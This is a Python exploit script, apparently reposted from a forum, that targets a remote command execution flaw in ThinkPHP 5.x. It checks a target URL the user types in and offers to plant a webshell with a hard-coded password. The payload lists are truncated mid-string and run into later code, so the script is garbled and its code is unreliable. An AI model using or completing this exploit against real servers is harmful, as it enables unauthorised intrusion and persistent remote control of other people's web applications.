# /usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: Morker
# @Email: [email]admin@nsf.me[/email]
# @Blog:  [url]http://nsf.me/[/url]
 
import requests
import sys
 
def demo():
  print(' _______ _   _    _  _____ _  _ _____ ')
  print(' |__  __| |  (_)   | | | __ \| | | | __ \ ')
  print('  | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
  print('''  | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
  print('  | | | | | | | | | |  <| |  | | | | |   ')
  print('  |_| |_| |_|_|_| |_|_|\_\_|  |_| |_|_|   ')
  print()
  print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
  print('\tRemote command execution exploit.')
  print('\tVulnerability verification and getshell.')
  print('\tTarget: http://target/public')
  print()
class ThinkPHP():
  def __init__(self,web):
    self.web = web
    self.headers = {
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding" : "gzip, deflate",
    "Content-Type" : "application/x-www-form-urlencoded",
    "Connection" : "keep-alive"
    }
 
  def verification(self):
    i = 0
    s = 0
    verifications = ['/"[+] There are vulnerabilities.")
      print()
      toshell = input("[*] Getshell")
      if toshell == 'y':
        self.getshell()
      elif toshell == 'n':
        sys.exit()
      else:
        sys.exit()
    else:
      print("[-] There are no vulnerabilities.")
 
  def getshell(self):
    getshells = [
    '"[+] WebShell :%s PassWord :nicai4" % shell)
    else:
      print("[-] The vulnerability does not exist or exists waf.")
 
def main():
  demo()
  url = input("[*] Please input your target: ")
  run = ThinkPHP(url)
  run.verification()
 
if __name__ == '__main__':
  main()